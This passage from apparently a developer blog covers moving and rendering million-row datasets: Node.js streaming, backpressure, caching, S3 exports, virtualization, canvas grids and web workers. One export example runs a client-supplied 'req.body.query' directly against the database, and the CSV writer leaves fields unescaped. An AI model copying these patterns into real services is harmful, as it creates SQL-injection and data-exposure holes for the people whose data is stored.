  const stream = pool.query('SELECT * FROM users')
    .stream({ highWaterMark: 1000 });

  stream.on('data', (row) => {
    const ok = res.write(JSON.stringify(row) + '\n');
    if (!ok) {
      stream.pause();
      res.once('drain', () => stream.resume());
    }
  });

  stream.on('end', () => res.end());
  stream.on('error', (err) => {
    console.error(err);
    res.end();
  });
});

Connection Pool Sizing

Long-running streaming queries tie up connections. Size your pool carefully:

const pool = new pg.Pool({
  max: 20,                    // max connections
  idleTimeoutMillis: 30000,
  connectionTimeoutMillis: 5000,
});

// For export endpoints, consider a separate pool with fewer connections
const exportPool = new pg.Pool({
  max: 5,  // limit concurrent exports
  idleTimeoutMillis: 60000,
  statement_timeout: 300000,  // 5 min timeout for long queries
});

Technique 10: Caching Large Responses

CDN Caching

For data that doesn't change frequently, cache at the edge:

app.get('/api/reports/daily', async (req, res) => {
  res.setHeader('Cache-Control', 'public, max-age=3600, s-maxage=86400');
  res.setHeader('CDN-Cache-Control', 'max-age=86400'); // Cloudflare/Vercel
  res.setHeader('Vary', 'Accept-Encoding');

  const data = await generateDailyReport();
  res.json(data);
});

Redis Caching for Computed Results

import Redis from 'ioredis';
const redis = new Redis();

app.get('/api/analytics/summary', async (req, res) => {
  const cacheKey = `analytics:summary:${req.query.date}`;

  // Check cache first
  const cached = await redis.get(cacheKey);
  if (cached) {
    res.setHeader('X-Cache', 'HIT');
    res.json(JSON.parse(cached));
    return;
  }

  // Compute the expensive result
  const result = await computeAnalytics(req.query.date);

  // Cache for 1 hour
  await redis.set(cacheKey, JSON.stringify(result), 'EX', 3600);

  res.setHeader('X-Cache', 'MISS');
  res.json(result);
});

ETags for Conditional Requests

When the client already has data and just needs to check for updates:

import crypto from 'node:crypto';

app.get('/api/dataset/:id', async (req, res) => {
  const data = await getDataset(req.params.id);
  const etag = crypto
    .createHash('md5')
    .update(JSON.stringify(data.lastModified))
    .digest('hex');

  res.setHeader('ETag', `"${etag}"`);

  // If client has the same version, send 304
  if (req.headers['if-none-match'] === `"${etag}"`) {
    res.status(304).end();
    return;
  }

  res.json(data);
});

Technique 11: File-Based Alternatives

Sometimes the best API response is a URL to a file.

Pre-Generated CSV/Parquet Export

import { S3Client, PutObjectCommand, GetObjectCommand } from '@aws-sdk/client-s3';
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';

const s3 = new S3Client({ region: 'us-east-1' });

app.post('/api/export/request', async (req, res) => {
  const exportId = crypto.randomUUID();

  // Queue the export job (could use Bull, SQS, etc.)
  await exportQueue.add('generate-export', {
    exportId,
    query: req.body.query,
    format: req.body.format || 'csv',
  });

  res.json({
    exportId,
    status: 'processing',
    statusUrl: `/api/export/${exportId}/status`,
  });
});

// Background job handler
async function handleExport(job) {
  const { exportId, query, format } = job.data;

  // Stream from DB to S3
  const dbStream = db.query(query).stream();
  const chunks = [];

  for await (const row of dbStream) {
    chunks.push(formatRow(row, format)); // CSV line, etc.
  }

  await s3.send(new PutObjectCommand({
    Bucket: 'my-exports',
    Key: `exports/${exportId}.${format}`,
    Body: chunks.join(''),
    ContentType: format === 'csv' ? 'text/csv' : 'application/octet-stream',
  }));

  await db.query(
    'UPDATE exports SET status = ?, completed_at = NOW() WHERE id = ?',
    ['completed', exportId]
  );
}

// Status + download endpoint
app.get('/api/export/:id/status', async (req, res) => {
  const [export_] = await db.query(
    'SELECT * FROM exports WHERE id = ?',
    [req.params.id]
  );

  if (export_.status === 'completed') {
    const url = await getSignedUrl(s3, new GetObjectCommand({
      Bucket: 'my-exports',
      Key: `exports/${export_.id}.csv`,
    }), { expiresIn: 3600 });

    res.json({
      status: 'completed',
      downloadUrl: url,
      expiresIn: 3600,
    });
  } else {
    res.json({ status: export_.status });
  }
});

When to Use File Exports

Data size → Response strategy:

  < 1 MB        Direct JSON response
  1-50 MB       Streaming NDJSON / compressed JSON
  50-500 MB     Streaming + compression, or file export
  > 500 MB      File export (S3 presigned URL)
  > 5 GB        Parquet/columnar format + file export

Parquet for Analytical Data

Parquet is a columnar format — much more efficient than CSV for analytical queries:

import parquet from 'parquetjs';

async function exportToParquet(query, filePath) {
  const schema = new parquet.ParquetSchema({
    id: { type: 'INT64' },
    name: { type: 'UTF8' },
    email: { type: 'UTF8' },
    balance: { type: 'DOUBLE' },
    created_at: { type: 'TIMESTAMP_MILLIS' },
  });

  const writer = await parquet.ParquetWriter.openFile(schema, filePath);
  const stream = db.query('SELECT * FROM users').stream();

  for await (const row of stream) {
    await writer.appendRow(row);
  }

  await writer.close();
}

// File size comparison for 1M rows:
// CSV:     ~450 MB
// JSON:    ~487 MB
// Parquet: ~85 MB (columnar compression is very effective)

Technique 12: Backpressure Deep Dive

Backpressure is the most important concept in streaming. If you don't handle it, streaming gives you zero benefit.

What Is Backpressure?

Without backpressure:

  Database        Server Buffer        Network        Client
  [100K rows/s]→  [████████████]  →   [slow 10K/s]→  [processing]
                   ↑ growing!
                   Eventually: OUT OF MEMORY

With backpressure:

  Database        Server Buffer        Network        Client
  [paused]    →   [██         ]  →    [10K rows/s]→  [processing]
  [10K rows/s]→   [██         ]  →    [10K rows/s]→  [processing]
                   ↑ stays small!
                   Memory: constant

Implementing Backpressure in Node.js

Node.js streams have backpressure built in — but only if you use them correctly:

import { pipeline, Transform } from 'node:stream';
import { promisify } from 'node:util';

const pipelineAsync = promisify(pipeline);

app.get('/api/stream', async (req, res) => {
  const dbStream = db.query('SELECT * FROM big_table').stream();

  const serialize = new Transform({
    objectMode: true,
    highWaterMark: 100,  // buffer at most 100 objects

    transform(row, encoding, callback) {
      // callback() signals "I'm ready for more"
      // If downstream is full, Node pauses upstream automatically
      callback(null, JSON.stringify(row) + '\n');
    },
  });

  // pipeline() handles backpressure automatically between all streams
  await pipelineAsync(dbStream, serialize, res);
});

Manual Backpressure (When Not Using pipeline)

function streamWithBackpressure(readable, writable) {
  return new Promise((resolve, reject) => {
    readable.on('data', (chunk) => {
      const canWrite = writable.write(chunk);

      if (!canWrite) {
        // Writable buffer is full — stop reading
        readable.pause();
        writable.once('drain', () => {
          // Buffer drained — resume reading
          readable.resume();
        });
      }
    });

    readable.on('end', () => {
      writable.end();
      resolve();
    });

    readable.on('error', reject);
    writable.on('error', reject);
  });
}

Real-World Examples

How Stripe Exports Transactions

Stripe's data export system is a great example of handling massive datasets:

Request an export via API → returns an export ID
Async processing — Stripe generates the file in the background
Polling or webhook — client checks status or receives a webhook
Download via signed URL — the file is hosted on cloud storage

Client                    Stripe API                Background Worker
  │                          │                            │
  ├─ POST /exports ─────────►│                            │
  │◄── 202 { id: "exp_1" }──┤                            │
  │                          ├─ Queue export job ────────►│
  │                          │                            ├─ Query DB
  │                          │                            ├─ Stream to S3
  ├─ GET /exports/exp_1 ────►│                            ├─ Compress
  │◄── { status: "pending" }─┤                            │
  │                          │                            │
  │  ... wait ...            │                            │
  │                          │◄── Job complete ───────────┤
  ├─ GET /exports/exp_1 ────►│                            │
  │◄── { status: "complete", │                            │
  │     download_url: "..." }│                            │
  │                          │                            │
  ├─ GET download_url ──────►│ (S3 presigned URL)         │
  │◄── [CSV file] ──────────┤                            │

This pattern is ideal for large exports because:

No request timeout issues (async processing)
Server memory stays constant (stream to storage)
Client gets a fast download from CDN/S3
Exports can be cached and re-downloaded

How Analytics Dashboards Stream Data

Tools like Metabase and Grafana use a hybrid approach:

Initial load: Server-side aggregation (don't send raw rows, send aggregated results)
Drill-down: Stream detail rows on demand with pagination
Real-time updates: WebSocket for live metrics, SSE for feed-style data
Export: Background file generation for full datasets

// Aggregation endpoint — fast, small response
app.get('/api/dashboard/summary', async (req, res) => {
  const summary = await db.query(`
    SELECT
      DATE_TRUNC('day', created_at) as day,
      COUNT(*) as count,
      SUM(amount) as total,
      AVG(amount) as average
    FROM transactions
    WHERE created_at > NOW() - INTERVAL '30 days'
    GROUP BY day
    ORDER BY day
  `);
  res.json(summary); // ~30 rows, < 5 KB
});

// Detail endpoint — streamed, on demand
app.get('/api/dashboard/details/:day', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson');

  const stream = db.query(
    'SELECT * FROM transactions WHERE DATE(created_at) = $1',
    [req.params.day]
  ).stream();

  pipeline(
    stream,
    new Transform({
      objectMode: true,
      transform(row, enc, cb) { cb(null, JSON.stringify(row) + '\n'); },
    }),
    res,
    () => {},
  );
});

Decision Framework

How much data are you sending?
│
├─ < 1,000 rows (~500 KB)
│   └─ Just send JSON. Don't overthink it.
│       Add gzip compression and call it a day.
│
├─ 1,000 – 50,000 rows (~500 KB – 25 MB)
│   └─ Paginate (cursor-based) with reasonable page sizes.
│       Add compression. Consider pagination + caching.
│
├─ 50,000 – 500,000 rows (~25 MB – 250 MB)
│   └─ Stream with NDJSON + gzip compression.
│       Use database-level streaming (QueryStream).
│       Handle backpressure properly.
│       Consider server-side aggregation first.
│
├─ 500,000 – 5,000,000 rows (~250 MB – 2.5 GB)
│   └─ File export (async job → S3 presigned URL).
│       Or gRPC streaming with Protocol Buffers.
│       Parquet format for analytical data.
│       Never try to send this as a single HTTP response.
│
└─ > 5,000,000 rows
    └─ Always file export. Consider Parquet/columnar format.
        Use database COPY command for extraction.
        Split into multiple files if needed.
        Consider whether the client really needs all this data
        (hint: they probably need an aggregation).

Quick Reference

Technique	Complexity	Best For	Memory Usage
Pagination	Low	Most CRUD APIs	Constant (page size)
NDJSON streaming	Medium	Real-time processing	Constant (~10-20 MB)
SSE	Medium	Live feeds, progress	Constant
gRPC streaming	High	Microservices, binary data	Constant
File export (S3)	Medium-High	Large exports, async	Constant (stream to S3)
WebSocket batching	High	Real-time dashboards	Batch size dependent
COPY + CSV	Low	Bulk DB exports	Constant

Putting It All Together

Here's a production-grade export endpoint that combines multiple techniques:

import { pipeline } from 'node:stream/promises';
import { Transform } from 'node:stream';
import { createGzip } from 'node:zlib';
import QueryStream from 'pg-query-stream';

app.get('/api/v2/export', async (req, res) => {
  const format = req.query.format || 'ndjson'; // ndjson | csv
  const compress = req.accepts('gzip');

  // Set response headers
  const contentTypes = {
    ndjson: 'application/x-ndjson',
    csv: 'text/csv',
  };
  res.setHeader('Content-Type', contentTypes[format]);

  if (compress) {
    res.setHeader('Content-Encoding', 'gzip');
  }

  if (format === 'csv') {
    res.setHeader('Content-Disposition', 'attachment; filename="export.csv"');
  }

  // Database stream with cursor
  const client = await pool.connect();
  const query = new QueryStream(
    'SELECT id, name, email, amount, created_at FROM orders ORDER BY id',
    [],
    { batchSize: 2000 }
  );
  const dbStream = client.query(query);

  // Serialize to chosen format
  let isFirst = true;
  const serialize = new Transform({
    objectMode: true,
    transform(row, enc, cb) {
      if (format === 'csv') {
        if (isFirst) {
          this.push('id,name,email,amount,created_at\n');
          isFirst = false;
        }
        this.push(`${row.id},"${row.name}","${row.email}",${row.amount},${row.created_at}\n`);
      } else {
        this.push(JSON.stringify(row) + '\n');
      }
      cb();
    },
  });

  // Build pipeline
  const streams = [dbStream, serialize];
  if (compress) streams.push(createGzip({ level: 6 }));
  streams.push(res);

  try {
    await pipeline(...streams);
  } catch (err) {
    if (err.code !== 'ERR_STREAM_PREMATURE_CLOSE') {
      console.error('Export error:', err);
    }
  } finally {
    client.release();
  }
});

Wrapping Up

Sending a million rows efficiently comes down to a few principles:

Don't buffer everything in memory — stream from source to destination
Compress the wire format — gzip alone saves 90%+
Use the right serialization — JSON is fine for most cases, Protobuf for performance-critical paths
Handle backpressure — or your streaming is just buffering with extra steps
Consider whether you need to send all the data — aggregation, pagination, and server-side filtering solve most problems before they start
Use file exports for truly large datasets — async job + presigned URL is battle-tested

The most common mistake is trying to optimize the transport when you should be questioning whether you need to send that much data in the first place. A well-crafted aggregation query that returns 50 rows will always beat streaming a million.

But when you genuinely need to move a million rows — now you know how.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who needs this, and follow along for more guides like this!

Rendering a Million Rows: The Ultimate Frontend Performance Guide — Virtualization, Streaming, SSR & Beyond

Ishaan Pandey — Sat, 21 Mar 2026 11:14:45 +0000

Rendering a Million Rows: The Ultimate Frontend Performance Guide — Virtualization, Streaming, SSR & Beyond

You've got a million rows. Your product manager wants them all accessible in the UI. The designer mocked up a beautiful infinite-scrolling table. And your browser just burst into flames.

Sound familiar?

Rendering massive datasets on the frontend is one of those problems that seems simple until you actually try it. Then you discover that the DOM is not your friend when you're asking it to manage a million nodes.

This guide covers every major technique for handling large datasets on the frontend — from the classics (pagination) to the advanced (canvas rendering, web workers, streaming SSR). We'll look at real code, real tradeoffs, and how companies like Google, Figma, and Bloomberg actually solve this problem.

Let's get into it.

The Problem: Why Naive Rendering Kills the Browser

Let's start with the obvious approach — just render everything:

function NaiveTable({ rows }) {
  return (
    <table>
      <tbody>
        {rows.map((row, i) => (
          <tr key={i}>
            <td>{row.name}</td>
            <td>{row.email}</td>
            <td>{row.amount}</td>
          </tr>
        ))}
      </tbody>
    </table>
  );
}

With 1,000 rows? Fine. With 10,000? Sluggish. With 100,000+? The tab crashes.

Here's why:

The DOM Tax

Every DOM node costs memory. A single <tr> with three <td> children is ~4 nodes. A million rows = ~4 million DOM nodes. Each node carries weight:

┌─────────────────────────────────────────────┐
│           What Each DOM Node Costs           │
├─────────────────────────────────────────────┤
│  Memory allocation    ~0.5-1 KB per node     │
│  Style calculation    O(n) for each node     │
│  Layout/reflow        Recalculates geometry  │
│  Paint                Renders pixels         │
│  Composite            GPU layer management   │
└─────────────────────────────────────────────┘

1M rows × 4 nodes × ~0.7 KB ≈ 2.8 GB of DOM memory

The Rendering Pipeline

Every time the browser renders a frame, it goes through this pipeline:

JavaScript → Style → Layout → Paint → Composite
    ↑                                      │
    └──────── 16.67ms budget (60fps) ──────┘

With a million DOM nodes, the "Layout" step alone can take seconds. The browser has to calculate the position and size of every single element. Scrolling becomes a slideshow.

The Real Bottlenecks

Bottleneck	Impact	Threshold
DOM node count	Memory + layout time	>10K nodes gets noticeable
Reflow/repaint	Jank during scroll	Any layout change triggers it
JavaScript execution	Blocks main thread	>50ms tasks cause jank
Memory pressure	Tab crash / OOM	Browser-dependent, ~1-4 GB
Garbage collection	Random pauses	More objects = more GC

The takeaway: you simply cannot put a million DOM nodes on the page. So what do you do?

Technique 1: Pagination — The Classic

The oldest trick in the book: don't show everything at once.

Offset-Based Pagination

// API call
const fetchPage = async (page, pageSize = 50) => {
  const res = await fetch(`/api/users?page=${page}&limit=${pageSize}`);
  return res.json();
};

function PaginatedTable() {
  const [page, setPage] = useState(1);
  const { data, isLoading } = useQuery(
    ['users', page],
    () => fetchPage(page)
  );

  return (
    <>
      <table>
        <tbody>
          {data?.rows.map(row => (
            <tr key={row.id}>
              <td>{row.name}</td>
              <td>{row.email}</td>
            </tr>
          ))}
        </tbody>
      </table>
      <div className="pagination">
        <button onClick={() => setPage(p => p - 1)} disabled={page === 1}>
          Previous
        </button>
        <span>Page {page} of {data?.totalPages}</span>
        <button onClick={() => setPage(p => p + 1)} disabled={page === data?.totalPages}>
          Next
        </button>
      </div>
    </>
  );
}

Cursor-Based Pagination

Offset pagination breaks down at scale (the database still has to skip N rows). Cursor-based pagination is more efficient:

const fetchPage = async (cursor) => {
  const url = cursor
    ? `/api/users?cursor=${cursor}&limit=50`
    : `/api/users?limit=50`;
  const res = await fetch(url);
  return res.json();
  // Returns: { rows: [...], nextCursor: "abc123" }
};

Pagination Pros & Cons

Aspect	Offset	Cursor
Jump to page N	Yes	No
Consistent with inserts	No (rows shift)	Yes
Database performance	O(offset + limit)	O(limit)
Implementation	Simple	Moderate
Best for	Small datasets, admin panels	Large datasets, feeds

Pagination is great when users don't need to see everything at once. But sometimes they do — enter virtualization.

Technique 2: Virtualization / Windowing

This is the big one. Virtualization is the single most impactful technique for rendering large lists.

How It Works

The idea is beautifully simple: only render the rows that are visible in the viewport.

┌──────────────────────────────────────┐
│          Virtualized List            │
│                                      │
│  ┌──────────────────────────────┐    │
│  │   Spacer (top padding)      │    │  ← Empty div with calculated height
│  │   height: 45000px            │    │     (represents rows above viewport)
│  ├──────────────────────────────┤    │
│  │   Row 901                    │    │  ┐
│  │   Row 902                    │    │  │
│  │   Row 903                    │    │  │  Only these ~20 rows
│  │   Row 904                    │    │  │  exist in the DOM
│  │   ...                        │    │  │
│  │   Row 920                    │    │  ┘
│  ├──────────────────────────────┤    │
│  │   Spacer (bottom padding)   │    │  ← Empty div with calculated height
│  │   height: 54000px            │    │     (represents rows below viewport)
│  └──────────────────────────────┘    │
│                                      │
│  Scrollbar reflects total height     │
└──────────────────────────────────────┘

Total rows: 100,000
DOM nodes: ~20 rows × 4 nodes = ~80 nodes

The scroll container has a total height that matches what the full list would be. But only the visible slice (plus a small overscan buffer) is actually rendered. As the user scrolls, rows are recycled — old ones are destroyed, new ones are created.

react-window (Lightweight)

The go-to library for simple virtualized lists:

import { FixedSizeList as List } from 'react-window';

function VirtualizedList({ items }) {
  const Row = ({ index, style }) => (
    <div style={style} className="row">
      <span>{items[index].name}</span>
      <span>{items[index].email}</span>
      <span>{items[index].amount}</span>
    </div>
  );

  return (
    <List
      height={600}           // viewport height
      itemCount={items.length} // total items
      itemSize={35}           // row height in px
      width="100%"
    >
      {Row}
    </List>
  );
}

For variable-height rows, use VariableSizeList:

import { VariableSizeList as List } from 'react-window';

function VariableList({ items }) {
  const getItemSize = (index) => {
    // Could be dynamic based on content
    return items[index].expanded ? 120 : 35;
  };

  const Row = ({ index, style }) => (
    <div style={style}>{items[index].name}</div>
  );

  return (
    <List
      height={600}
      itemCount={items.length}
      itemSize={getItemSize}
      width="100%"
    >
      {Row}
    </List>
  );
}

react-virtuoso (Batteries Included)

react-virtuoso handles variable heights automatically — no need to pre-calculate:

import { Virtuoso } from 'react-virtuoso';

function VirtuosoTable({ items }) {
  return (
    <Virtuoso
      style={{ height: '600px' }}
      totalCount={items.length}
      itemContent={(index) => (
        <div className="row">
          <span>{items[index].name}</span>
          <span>{items[index].email}</span>
        </div>
      )}
      // Grouped headers, sticky headers, etc. built in
    />
  );
}

It also supports grouped lists, table elements, reverse scrolling (chat UIs), and SSR out of the box.

TanStack Virtual (Framework Agnostic)

TanStack Virtual gives you the primitives — you build the UI:

import { useVirtualizer } from '@tanstack/react-virtual';

function TanStackList({ items }) {
  const parentRef = useRef(null);

  const virtualizer = useVirtualizer({
    count: items.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 35,      // estimated row height
    overscan: 10,                 // extra rows above/below viewport
  });

  return (
    <div ref={parentRef} style={{ height: '600px', overflow: 'auto' }}>
      <div
        style={{
          height: `${virtualizer.getTotalSize()}px`,
          width: '100%',
          position: 'relative',
        }}
      >
        {virtualizer.getVirtualItems().map((virtualRow) => (
          <div
            key={virtualRow.key}
            style={{
              position: 'absolute',
              top: 0,
              left: 0,
              width: '100%',
              height: `${virtualRow.size}px`,
              transform: `translateY(${virtualRow.start}px)`,
            }}
          >
            {items[virtualRow.index].name}
          </div>
        ))}
      </div>
    </div>
  );
}

Virtualization Library Comparison

Feature	react-window	react-virtuoso	TanStack Virtual
Bundle size	~6 KB	~16 KB	~10 KB
Variable heights	Manual	Automatic	Estimated + measured
Table support	Limited	Built-in	Manual
Grouped/sticky headers	No	Yes	Manual
SSR support	Limited	Yes	Yes
Framework agnostic	No (React)	No (React)	Yes
Horizontal lists	Yes	Limited	Yes
Grid (2D)	Yes	No	Yes
Learning curve	Low	Low	Medium

When Virtualization Isn't Enough

Virtualization handles 100K–1M rows smoothly. But it has limits:

Scrollbar precision: At 1M rows × 35px = 35M px total height. Browsers cap scrollable height (Chrome: ~33.5M px). You may need to fake the scrollbar.
Search/filter: You still need all the data in memory for client-side operations.
Accessibility: Screen readers can't see off-screen rows. You need ARIA attributes to announce total count.

Technique 3: Infinite Scrolling with Intersection Observer

Infinite scroll loads more data as the user approaches the bottom. Combined with virtualization, it's powerful.

function InfiniteList() {
  const [items, setItems] = useState([]);
  const [page, setPage] = useState(1);
  const [hasMore, setHasMore] = useState(true);
  const loaderRef = useRef(null);

  // Fetch next page
  const loadMore = useCallback(async () => {
    const res = await fetch(`/api/items?page=${page}&limit=100`);
    const data = await res.json();
    setItems(prev => [...prev, ...data.rows]);
    setHasMore(data.hasMore);
    setPage(prev => prev + 1);
  }, [page]);

  // Intersection Observer to trigger loading
  useEffect(() => {
    const observer = new IntersectionObserver(
      (entries) => {
        if (entries[0].isIntersecting && hasMore) {
          loadMore();
        }
      },
      { threshold: 0.1 }
    );

    if (loaderRef.current) observer.observe(loaderRef.current);

    return () => observer.disconnect();
  }, [loadMore, hasMore]);

  return (
    <div style={{ height: '600px', overflow: 'auto' }}>
      {items.map(item => (
        <div key={item.id} className="row">{item.name}</div>
      ))}
      {hasMore && (
        <div ref={loaderRef} className="loader">
          Loading more...
        </div>
      )}
    </div>
  );
}

Virtualized Infinite Scroll (The Combo)

Pair TanStack Virtual with infinite loading for the best of both worlds:

import { useVirtualizer } from '@tanstack/react-virtual';
import { useInfiniteQuery } from '@tanstack/react-query';

function VirtualizedInfiniteList() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } =
    useInfiniteQuery({
      queryKey: ['items'],
      queryFn: ({ pageParam = 0 }) =>
        fetch(`/api/items?cursor=${pageParam}&limit=100`).then(r => r.json()),
      getNextPageParam: (lastPage) => lastPage.nextCursor,
    });

  const allRows = data?.pages.flatMap(p => p.rows) ?? [];
  const parentRef = useRef(null);

  const virtualizer = useVirtualizer({
    count: hasNextPage ? allRows.length + 1 : allRows.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 35,
    overscan: 5,
  });

  // Fetch more when approaching the end
  useEffect(() => {
    const lastItem = virtualizer.getVirtualItems().at(-1);
    if (!lastItem) return;

    if (
      lastItem.index >= allRows.length - 1 &&
      hasNextPage &&
      !isFetchingNextPage
    ) {
      fetchNextPage();
    }
  }, [virtualizer.getVirtualItems(), hasNextPage, isFetchingNextPage, allRows.length, fetchNextPage]);

  return (
    <div ref={parentRef} style={{ height: '600px', overflow: 'auto' }}>
      <div style={{ height: virtualizer.getTotalSize(), position: 'relative' }}>
        {virtualizer.getVirtualItems().map((virtualRow) => {
          const isLoader = virtualRow.index >= allRows.length;
          return (
            <div
              key={virtualRow.key}
              style={{
                position: 'absolute',
                top: `${virtualRow.start}px`,
                width: '100%',
                height: `${virtualRow.size}px`,
              }}
            >
              {isLoader ? 'Loading...' : allRows[virtualRow.index].name}
            </div>
          );
        })}
      </div>
    </div>
  );
}

Technique 4: SSR & Streaming with React Server Components

Server-side rendering gets the initial content to the user faster. React 18+ streaming makes it even better.

Streaming HTML with Suspense Boundaries

Instead of waiting for all data to load before sending HTML, you can stream it:

// app/dashboard/page.tsx (Next.js App Router)
import { Suspense } from 'react';

export default function DashboardPage() {
  return (
    <div>
      <h1>Dashboard</h1>

      {/* This renders immediately */}
      <header>Welcome back, user</header>

      {/* This streams in when the data is ready */}
      <Suspense fallback={<TableSkeleton />}>
        <DataTable />
      </Suspense>

      {/* This also renders immediately */}
      <footer>Footer content</footer>
    </div>
  );
}

// Server Component — runs on the server, streams to client
async function DataTable() {
  const data = await db.query('SELECT * FROM transactions LIMIT 1000');

  return (
    <table>
      <tbody>
        {data.map(row => (
          <tr key={row.id}>
            <td>{row.date}</td>
            <td>{row.description}</td>
            <td>${row.amount}</td>
          </tr>
        ))}
      </tbody>
    </table>
  );
}

How Streaming Works Under the Hood

Traditional SSR:
  Server: [──── Build full HTML ────] → Send complete HTML → Client renders
  Client: [────── waiting ──────────]   [── hydrate ──]

Streaming SSR:
  Server: [─ Shell ─] → Send shell   [─ Data table ─] → Stream chunk
  Client: [─ render ─] [─ skeleton ─] [── swap in ──]

Timeline:
  0ms     200ms       500ms         1200ms
  │        │           │              │
  │  Shell  │  Skeleton │  Real table  │
  │  sent   │  visible  │  streamed in │

The user sees the page layout and skeleton immediately. The heavy data table streams in when it's ready.

Progressive Loading Pattern

For truly massive datasets, combine SSR with client-side virtualization:

// Server Component: sends the first page
async function InitialData() {
  const firstPage = await db.query(
    'SELECT * FROM items ORDER BY id LIMIT 100'
  );

  return <VirtualizedTable initialData={firstPage} />;
}

// Client Component: virtualizes and loads more
'use client';
function VirtualizedTable({ initialData }) {
  const [items, setItems] = useState(initialData);

  // Load more pages on scroll with virtualization
  // ... (combine with infinite scroll pattern above)
}

Technique 5: Canvas-Based Rendering

When even virtualized DOM is too slow — think spreadsheet-like UIs with millions of cells — you can skip the DOM entirely and paint pixels on a <canvas>.

Why Canvas?

DOM rendering:
  Each cell = DOM node → style calc → layout → paint → composite
  10,000 cells = 10,000 nodes through the pipeline

Canvas rendering:
  All cells = one <canvas> element → single paint operation
  10,000 cells = 10,000 fillRect() calls on one surface

How Spreadsheet Engines Work

┌────────────────────────────────────────────────────┐
│                    Canvas Layer                      │
│  ┌──────┬──────┬──────┬──────┬──────┐              │
│  │  A1  │  B1  │  C1  │  D1  │  E1  │  ← Painted  │
│  ├──────┼──────┼──────┼──────┼──────┤    pixels,   │
│  │  A2  │  B2  │  C2  │  D2  │  E2  │    not DOM   │
│  ├──────┼──────┼──────┼──────┼──────┤    nodes     │
│  │  A3  │  B3  │  C3  │  D3  │  E3  │              │
│  └──────┴──────┴──────┴──────┴──────┘              │
├────────────────────────────────────────────────────┤
│  Hidden DOM layer (for accessibility):              │
│  <div role="grid" aria-rowcount="1000000">          │
│    <div role="row" aria-rowindex="1">               │
│      <div role="gridcell">A1 content</div>          │
│    </div>                                           │
│  </div>                                             │
├────────────────────────────────────────────────────┤
│  Input overlay (for editing):                       │
│  <input> positioned absolutely over active cell     │
└────────────────────────────────────────────────────┘

Basic Canvas Grid Renderer

class CanvasGrid {
  constructor(canvas, data, config) {
    this.ctx = canvas.getContext('2d');
    this.data = data;             // 2D array of cell values
    this.cellWidth = config.cellWidth || 120;
    this.cellHeight = config.cellHeight || 30;
    this.scrollX = 0;
    this.scrollY = 0;
    this.visibleRows = Math.ceil(canvas.height / this.cellHeight) + 1;
    this.visibleCols = Math.ceil(canvas.width / this.cellWidth) + 1;

    canvas.addEventListener('wheel', (e) => this.onScroll(e));
    this.render();
  }

  onScroll(e) {
    this.scrollX += e.deltaX;
    this.scrollY += e.deltaY;
    this.scrollX = Math.max(0, this.scrollX);
    this.scrollY = Math.max(0, this.scrollY);
    requestAnimationFrame(() => this.render());
  }

  render() {
    const { ctx, data, cellWidth, cellHeight } = this;
    ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);

    const startRow = Math.floor(this.scrollY / cellHeight);
    const startCol = Math.floor(this.scrollX / cellWidth);
    const offsetY = -(this.scrollY % cellHeight);
    const offsetX = -(this.scrollX % cellWidth);

    for (let r = 0; r < this.visibleRows; r++) {
      for (let c = 0; c < this.visibleCols; c++) {
        const dataRow = startRow + r;
        const dataCol = startCol + c;
        if (dataRow >= data.length || dataCol >= data[0].length) continue;

        const x = offsetX + c * cellWidth;
        const y = offsetY + r * cellHeight;

        // Draw cell border
        ctx.strokeStyle = '#e0e0e0';
        ctx.strokeRect(x, y, cellWidth, cellHeight);

        // Draw cell text
        ctx.fillStyle = '#333';
        ctx.font = '13px Inter, sans-serif';
        ctx.fillText(
          data[dataRow][dataCol],
          x + 8,
          y + cellHeight / 2 + 4,
        );
      }
    }
  }
}

Libraries That Use Canvas Rendering

Library	Approach	Best For
ag-Grid (Enterprise)	Canvas for cells, DOM for chrome	Data grids with millions of rows
Handsontable	Canvas hybrid	Spreadsheet UIs
Glide Data Grid	Full canvas	React-based spreadsheets
PixiJS + custom	WebGL/Canvas	Custom visualizations
Luckysheet	Canvas	Google Sheets clone

Technique 6: Web Workers for Off-Main-Thread Computation

Sorting, filtering, or aggregating a million rows on the main thread blocks the UI. Move it to a Web Worker.

// worker.js
self.onmessage = function(e) {
  const { type, data, params } = e.data;

  switch (type) {
    case 'sort': {
      const sorted = [...data].sort((a, b) => {
        const valA = a[params.column];
        const valB = b[params.column];
        return params.direction === 'asc'
          ? valA > valB ? 1 : -1
          : valA < valB ? 1 : -1;
      });
      self.postMessage({ type: 'sorted', data: sorted });
      break;
    }

    case 'filter': {
      const filtered = data.filter(row =>
        row[params.column]
          .toLowerCase()
          .includes(params.query.toLowerCase())
      );
      self.postMessage({ type: 'filtered', data: filtered });
      break;
    }

    case 'aggregate': {
      const sum = data.reduce((acc, row) => acc + row[params.column], 0);
      const avg = sum / data.length;
      self.postMessage({
        type: 'aggregated',
        data: { sum, avg, count: data.length },
      });
      break;
    }
  }
};

// useWorkerSort.js — Custom hook
function useWorkerSort(data) {
  const [sorted, setSorted] = useState(data);
  const [sorting, setSorting] = useState(false);
  const workerRef = useRef(null);

  useEffect(() => {
    workerRef.current = new Worker(
      new URL('./worker.js', import.meta.url)
    );

    workerRef.current.onmessage = (e) => {
      if (e.data.type === 'sorted') {
        setSorted(e.data.data);
        setSorting(false);
      }
    };

    return () => workerRef.current.terminate();
  }, []);

  const sort = useCallback((column, direction) => {
    setSorting(true);
    workerRef.current.postMessage({
      type: 'sort',
      data,
      params: { column, direction },
    });
  }, [data]);

  return { sorted, sorting, sort };
}

Transferable Objects for Zero-Copy

For really large datasets, use Transferable objects to avoid copying data between threads:

// Instead of copying the array:
worker.postMessage({ data: hugeArray });

// Transfer ownership (zero-copy, but main thread loses access):
const buffer = new Float64Array(1_000_000);
worker.postMessage({ buffer }, [buffer.buffer]);
// buffer is now empty on the main thread — ownership transferred

Technique 7: requestAnimationFrame & Time-Slicing

If you must render many DOM nodes (maybe you're building a static report), do it in chunks so the browser stays responsive:

function renderInChunks(items, container, chunkSize = 500) {
  let index = 0;

  function renderChunk() {
    const fragment = document.createDocumentFragment();
    const end = Math.min(index + chunkSize, items.length);

    for (let i = index; i < end; i++) {
